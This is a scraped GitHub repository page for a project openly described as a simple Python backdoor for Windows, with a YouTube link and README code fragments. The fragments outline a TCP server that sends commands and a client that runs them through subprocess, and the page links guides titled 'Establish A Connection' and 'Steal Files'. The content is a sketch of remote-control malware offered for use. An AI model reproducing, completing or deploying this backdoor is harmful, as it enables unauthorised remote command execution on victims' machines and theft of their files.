Skip to content
This repository has been archived by the owner on Dec 31, 2023. It is now read-only.

Simple backdoor using lib python's socket and subprocess for Windows

Notifications You must be signed in to change notification settings

aleff-github/Backdoor-Client-Server-Socket-Python

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

22 Commits
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Backdoor-Client-Server-Socket-Python

Simple backdoor using lib python's socket

YouTube Video: https://youtu.be/pE5qPvMZ-DM

lib

  • from socket import * # for connection
  • import subprocess # for cmd command

Server

  • sock = socket(AF_INET, SOCK_STREAM) # set TCP socket
  • port = 12345 # port of server
  • sock.bind(('', port)) && sock.listen(1) # set server
  • conn, addr = sock.accept() # conn = connection && addr = (client)address
  • conn.send(command.encode()) # send in array bytes
  • conn.recv(1024).decode("utf-8") #receive and convert in string

Client

  • CMD = subprocess.Popen(command, ...) # set subprocess for send CMD command

Guides

Guides Links
Establish A Connection Link
Steal Files Link